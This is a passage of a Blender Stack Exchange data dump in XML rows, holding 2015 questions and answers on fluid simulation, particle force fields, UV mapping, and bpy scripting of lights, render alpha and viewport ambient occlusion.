  <row Id="36353" PostTypeId="1" CreationDate="2015-08-25T08:08:08.657" Score="3" ViewCount="6378" Body="&lt;p&gt;I am trying to make my fluid look realistic but it isn't smooth even with the quality set to 250.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uploaded a video of it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=E54ObJrXHiM&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=E54ObJrXHiM&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any settings I should change?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed the viscosity to these settings:&#xA;Base: 10 | Exponent: 3 | Domain size is also: 3m&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smoothing: 2 | Subdivisions: 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simulation Speed: 0.08&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a close up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K7CXQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K7CXQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;http://s24.postimg.org/vvq2ryhtx/fluid.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://s24.postimg.org/vvq2ryhtx/fluid.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16675" LastEditorDisplayName="user1853" LastEditDate="2016-04-08T15:37:18.793" LastActivityDate="2019-03-10T19:23:49.827" Title="Fluid Simulation is still low quality even with resolution of 250" Tags="&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36354" PostTypeId="2" ParentId="36260" CreationDate="2015-08-25T08:20:34.930" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;The material texture is better suited to the task of quantization.&lt;/li&gt;&#xA;&lt;li&gt;The animation of the 3D View is better suited to specifying location of video manipulation.&lt;/li&gt;&#xA;&lt;li&gt;The VSE has limited effects compared to the compositor.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NjSQ6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NjSQ6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image above was quite legible in the original and has been quantized or pixelated in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/exaF0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/exaF0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Blender screen capture above.  Note the settings.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Interpolation false.&lt;/li&gt;&#xA;&lt;li&gt;Filter FELINE&lt;/li&gt;&#xA;&lt;li&gt;Probes 1&lt;/li&gt;&#xA;&lt;li&gt;Filter Size 20.  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Explore Probes and Filter to suit your taste.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 3D view the material texture can sample images at reduced resolution to produce pixelation.  You can &#xA;create a moving object such as a sphere which might be positioned to cover a face and produce a &quot;mask&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So two texture planes and one mask object are indicated, perhaps in different render layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Compositor phase of rendering, the mask image can then be used to compose the original video with pixelated video selectively with an alpha over node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This explanation is a reduction.  I cannot comment on speed characteristics of your machine.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-08-25T09:24:58.030" LastActivityDate="2015-08-25T09:24:58.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36355" PostTypeId="1" AcceptedAnswerId="36362" CreationDate="2015-08-25T08:23:48.570" Score="3" ViewCount="5072" Body="&lt;p&gt;For example if I use 3 different object emitting particles, I only want 1 of them to get affected by the force field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AEpCP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AEpCP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adjusting the area to be concentrated, but the force field affects everything which is in the same layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1mf7G.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1mf7G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the settings that I’ve done to adjust where the force field should take effect.&lt;/p&gt;&#xA;" OwnerUserId="9818" LastEditorUserId="29301" LastEditDate="2018-10-17T19:50:44.430" LastActivityDate="2018-10-17T19:50:44.430" Title="How to make a force field concentrate only on a specified area?" Tags="&lt;particles&gt;&lt;physics&gt;&lt;force-fields&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36356" PostTypeId="1" AcceptedAnswerId="36420" CreationDate="2015-08-25T08:35:02.383" Score="6" ViewCount="539" Body="&lt;p&gt;I have a sphere UV mapped like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/B4fFi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B4fFi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I parented a Suzanne to it and enable dupli verts, then setup a material on the Suzanne which I expected to color all the dupli Suzannes in a replica of the texture mapped to the sphere. Instead I just get all black:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q07Sy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q07Sy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, generated coordinates work as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/C2VZj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C2VZj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do UV coordinates return all black?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/437/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=437&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-08-25T19:23:09.977" Title="Why are the UV coordinates from dupli parent returning black?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;&lt;nodes&gt;&lt;dupli-groups&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36357" PostTypeId="2" ParentId="27234" CreationDate="2015-08-25T08:37:03.807" Score="8" Body="&lt;p&gt;Just to add up to the great answer above, one must be in &lt;code&gt;OBJECT&lt;/code&gt; mode in order to delete objects. In order to do so in Python use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It also makes sense to return to previous mode, after the operation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;oldMode = bpy.context.mode&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA; ...Select your object here&#xA;bpy.ops.object.delete()&#xA;bpy.ops.object.mode_set(mode=oldMode)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16189" LastEditorUserId="16189" LastEditDate="2015-08-25T12:20:24.940" LastActivityDate="2015-08-25T12:20:24.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36359" PostTypeId="1" AcceptedAnswerId="36365" CreationDate="2015-08-25T09:11:27.523" Score="1" ViewCount="1741" Body="&lt;p&gt;I'm trying to render a mesh from script. All good, except the lights. The output rendered mesh is very dark and turning it becomes completely black. How to set them?&lt;/p&gt;&#xA;" OwnerUserId="16651" LastActivityDate="2015-08-25T10:21:56.043" Title="set light position from script" Tags="&lt;scripting&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36360" PostTypeId="2" ParentId="36355" CreationDate="2015-08-25T09:32:27.723" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/r022L.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r022L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Place the force in a group&lt;/li&gt;&#xA;&lt;li&gt;Use an effector group name in the Field Weights&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-08-25T09:32:27.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36361" PostTypeId="1" AcceptedAnswerId="36364" CreationDate="2015-08-25T09:35:19.027" Score="2" ViewCount="1493" Body="&lt;p&gt;How to do this: &lt;a href=&quot;https://blender.stackexchange.com/questions/14898/render-shadow-on-transparent-background-on-blender-render&quot;&gt;Render shadow on transparent background with Blender Render&lt;/a&gt; from script? I need to set a transparent background color before render a mesh.&lt;/p&gt;&#xA;" OwnerUserId="16651" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-08-25T10:16:36.270" Title="change background color from script" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36362" PostTypeId="2" ParentId="36355" CreationDate="2015-08-25T09:46:47.493" Score="7" Body="&lt;p&gt;You can set the &lt;a href=&quot;http://blender.org/manual/physics/particles/physics/introduction.html#field-weights&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Effector Group&lt;/em&gt;&lt;/a&gt; to limit the force fields which can affect a given particle system:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add an empty (or really anything that's not a force field)&lt;/li&gt;&#xA;&lt;li&gt;With the empty selected, create a group (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Specify this group as the &lt;em&gt;Effector group&lt;/em&gt; for the systems which you do &lt;strong&gt;not&lt;/strong&gt; want to be affected by any force fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tIkJz.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tIkJz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Optionally delete the empty.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RcYkh.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RcYkh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/438/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=438&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="1245" LastEditDate="2017-06-15T19:43:40.633" LastActivityDate="2017-06-15T19:43:40.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36364" PostTypeId="2" ParentId="36361" CreationDate="2015-08-25T10:16:36.270" Score="2" Body="&lt;p&gt;When you hover over a property, you can see its Python property. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, it is simply : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scene.render.alpha_mode = 'SKY' # in ['TRANSPARENT', 'SKY']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15363" LastActivityDate="2015-08-25T10:16:36.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36365" PostTypeId="2" ParentId="36359" CreationDate="2015-08-25T10:21:56.043" Score="2" Body="&lt;p&gt;Again, you can see all the properties equivalents in Python by hovering over the light properties fields you want to change via Python scripting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lamp = bpy.data.lamps['Lamp']&#xA;lamp.energy = 10  # 10 is the max value for energy&#xA;lamp.type = 'POINT'  # in ['POINT', 'SUN', 'SPOT', 'HEMI', 'AREA']&#xA;lamp.distance = 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The simpler is to first change their values by hand, before to find the values you need and set them via Python.&lt;/p&gt;&#xA;" OwnerUserId="15363" LastActivityDate="2015-08-25T10:21:56.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36366" PostTypeId="2" ParentId="36339" CreationDate="2015-08-25T10:24:01.850" Score="0" Body="&lt;p&gt;The simpler way is to set the &lt;code&gt;scale&lt;/code&gt; property of the object : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.scale = Vector((1., 1., 1.))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15363" LastActivityDate="2015-08-25T10:24:01.850" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36368" PostTypeId="2" ParentId="36227" CreationDate="2015-08-25T10:59:44.037" Score="1" Body="&lt;p&gt;It's not about being lighter or darker. It's that the material is more &lt;em&gt;reflective&lt;/em&gt; at grazing angles. So if the surrounding environment is lighter than the object, the grazing angles will appear lighter. If the surrounding environment is darker it will appear darker. The material's lowest point of reflectivity is also a factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand why the material reflects more at grazing angles, take this example of a sphere with lots of tiny particles being emitted from it. These little shards reflect light more, whereas the sphere itself absorbs it more (as perceived from the viewing angle). This is a simulation of how roughness works. The &quot;roughness&quot; value of a shader simulates the effect of microscopic bumps on the surface of materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lYH0o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lYH0o.png&quot; alt=&quot;Particles being used to simulate roughness and the Fresnel effect&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image below, the sky is a black and white gradient. Here we can see that the Fresnel effect is not lightening or darkening, but rather reflecting more or less. So areas of the sky that are more white are causing lighter edges and areas that are more black are causing darker ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aqIGQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aqIGQ.png&quot; alt=&quot;Grazing angles are more reflective and can be lighter or darker depending on the environment&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2015-08-25T13:48:37.387" LastActivityDate="2015-08-25T13:48:37.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36369" PostTypeId="1" CreationDate="2015-08-25T11:08:14.740" Score="2" ViewCount="636" Body="&lt;p&gt;I'm editing multiple sequences of png with transparency, but the preview is very slow (8fps).&#xA;I tried to use proxies, but it seems that Blender can only generate jpeg files with black background.&#xA;Is there a way to use png files as proxies?&#xA;Any help is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="7668" LastActivityDate="2015-08-28T06:29:08.613" Title="Can Blender build proxy files with transparency?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36370" PostTypeId="1" AcceptedAnswerId="36376" CreationDate="2015-08-25T11:43:29.940" Score="4" ViewCount="706" Body="&lt;p&gt;I have been trying to access different functionality in blender using python and I stumbled upon this really difficult problem. I can’t find out how to enable or disable the Ambient Occlusion using Python in the viewport. I have looked at the info panel that records the Python actions and it returns a weird (null) method. I did some research on the python function and found their operations, but I can’t figure out how to get Blender to recognize it. I checked all the buttons around it but they didn’t lead to any conclusion. I am at a complete loss of what to do and any help would be awesome&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Qusnq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qusnq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/covRT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/covRT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16676" LastEditorUserId="241" LastEditDate="2016-08-23T14:43:36.477" LastActivityDate="2016-08-23T14:43:36.477" Title="How to enable ambient occlusion in the Viewport with Python?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36371" PostTypeId="1" AcceptedAnswerId="36374" CreationDate="2015-08-25T11:45:36.353" Score="3" ViewCount="2876" Body="&lt;p&gt;I am trying to extrude the center of a barrel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/r2Og0.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r2Og0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model on the left side shows what it should look like.&#xA;The model on the right side shows how it goes wrong for me.&#xA;I would like to extrude to all sides so that it looks like the left image.&#xA;However, it only extrudes to one direction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried &quot;e&quot; and Alt + s, but that also gives me a weird result:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/zm8jD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zm8jD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I extrude to all sides?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="14968" LastEditorUserId="14968" LastEditDate="2015-08-25T11:51:41.560" LastActivityDate="2015-08-25T13:02:51.813" Title="Extruding only extrudes in 1 direction" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36372" PostTypeId="2" ParentId="36371" CreationDate="2015-08-25T12:01:48.360" Score="2" Body="&lt;p&gt;Weird effects of the &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; commend are probabliy caused by a non-uniform objectìs scale. By applying the scale before running it, all should work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8cikk.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8cikk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to apply the scale to your object you can scale the faces and set the Z value to 1 in order to keep the up/down faces flat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8Bhj5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Bhj5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I51W4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I51W4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-08-25T12:07:21.093" LastActivityDate="2015-08-25T12:07:21.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36373" PostTypeId="1" AcceptedAnswerId="36399" CreationDate="2015-08-25T12:03:31.627" Score="0" ViewCount="381" Body="&lt;p&gt;im new to Blender and i have a big problem with rotation. I am building something in the same style as the Game of Thrones intro, so a lot of buildings fitting inside a sphere. &lt;a href=&quot;https://i.stack.imgur.com/FvDPJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FvDPJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I rotate the whole thing so it will fit on the side of the sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then i want to rotate the gears in an animation, choose local transform orientation and the rotate handles look fine, and i rotate it it looks fine. But when i play the animation the gear rotates all around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i tried to click Objekt -&gt; Apply -&gt; Rotation, and then i see the rotate handles aren't fine at all:&lt;a href=&quot;https://i.stack.imgur.com/sZhqb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sZhqb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, all look fine (alså the rotate handles) until I rotate, the already rotated object. when i play an animation it rotates all around. When i click Objekt -&gt; Apply -&gt; Rotation, I see why. The rotate handles are (secretly) messed up. Why and how do i solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to rotate the whole thing, and then be able to rotate every single gear while still fitting in.&lt;/p&gt;&#xA;" OwnerUserId="16679" LastActivityDate="2015-08-25T15:56:48.400" Title="Rotation of rotated element" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;armature&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36374" PostTypeId="2" ParentId="36371" CreationDate="2015-08-25T12:04:45.333" Score="3" Body="&lt;p&gt;Press &lt;kbd&gt;E&lt;/kbd&gt;, then &lt;kbd&gt;S&lt;/kbd&gt; and then &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Rc1US.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rc1US.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-25T13:02:51.813" LastActivityDate="2015-08-25T13:02:51.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36375" PostTypeId="1" AcceptedAnswerId="36379" CreationDate="2015-08-25T12:10:46.937" Score="4" ViewCount="169" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/quFcT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/quFcT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click and drag the little arrow; the blue line showing the real lenght of frames dones't appear. It does with all tutos I watched but with me! Why?&lt;/p&gt;&#xA;" OwnerUserId="7894" LastActivityDate="2015-08-25T12:51:02.697" Title="Blue line in the Image Strip not showing" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36376" PostTypeId="2" ParentId="36370" CreationDate="2015-08-25T12:18:58.117" Score="3" Body="&lt;p&gt;These types of properties are properties of the 3D view, and so that's what you need to access to access them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This following code accesses the Ambient Occlusion property but this is dependent on how your screen is laid out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.screens['Default'].areas[4].spaces[0].fx_settings.use_ssao = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;'Default' relates to the current screen layout and 'areas' to the various views that might be open (we need the 3D view). The problem with this is if the screen layout changes then the 3D view might not be in &lt;code&gt;areas[4]&lt;/code&gt; anymore (as the list of areas will have changed). To solve this we can instead use the following code which will loop through the areas until we find a 3D view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for area in bpy.context.screen.areas:                   &#xA;    if area.type == &quot;VIEW_3D&quot;:&#xA;        area.spaces[0].fx_settings.use_ssao = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-08-25T12:24:46.610" LastActivityDate="2015-08-25T12:24:46.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36377" PostTypeId="2" ParentId="36370" CreationDate="2015-08-25T12:20:15.567" Score="1" Body="&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        for space in area.spaces:&#xA;            if space.type == 'VIEW_3D':&#xA;                space.fx_settings.use_ssao = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;something like this. You either have a reference to a window and that will let you access 'space' directly, or you can iterate over all open &lt;code&gt;VIEW_3D&lt;/code&gt; areas and set it that way. &lt;code&gt;break&lt;/code&gt; early if you need to.&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-08-25T12:20:15.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36378" PostTypeId="1" CreationDate="2015-08-25T12:42:05.647" Score="2" ViewCount="335" Body="&lt;p&gt;So I've been studying shrinkwrap modifiers, I created a forming block, the shap I want to &quot;shrinkwrap&quot; to, I created the basic car form over it, cut out some doors by removing faces, now I'm trying to create a wheel well. I watched a video where they did something using another shrinkwrap set to project.. i'm really close, my circle is &quot;shrinkwrapped&quot; to the cars surface, but I can't &quot;cut it out&quot;....&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Jmjs3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jmjs3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16033" LastActivityDate="2015-08-25T16:41:02.433" Title="How do I finish cutting out this wheel well?" Tags="&lt;modifiers&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36379" PostTypeId="2" ParentId="36375" CreationDate="2015-08-25T12:51:02.697" Score="5" Body="&lt;p&gt;In the Video Sequence Editor:&#xA;View &gt; Show offsets&#xA;&lt;a href=&quot;https://i.stack.imgur.com/qIyZ4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qIyZ4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7668" LastActivityDate="2015-08-25T12:51:02.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
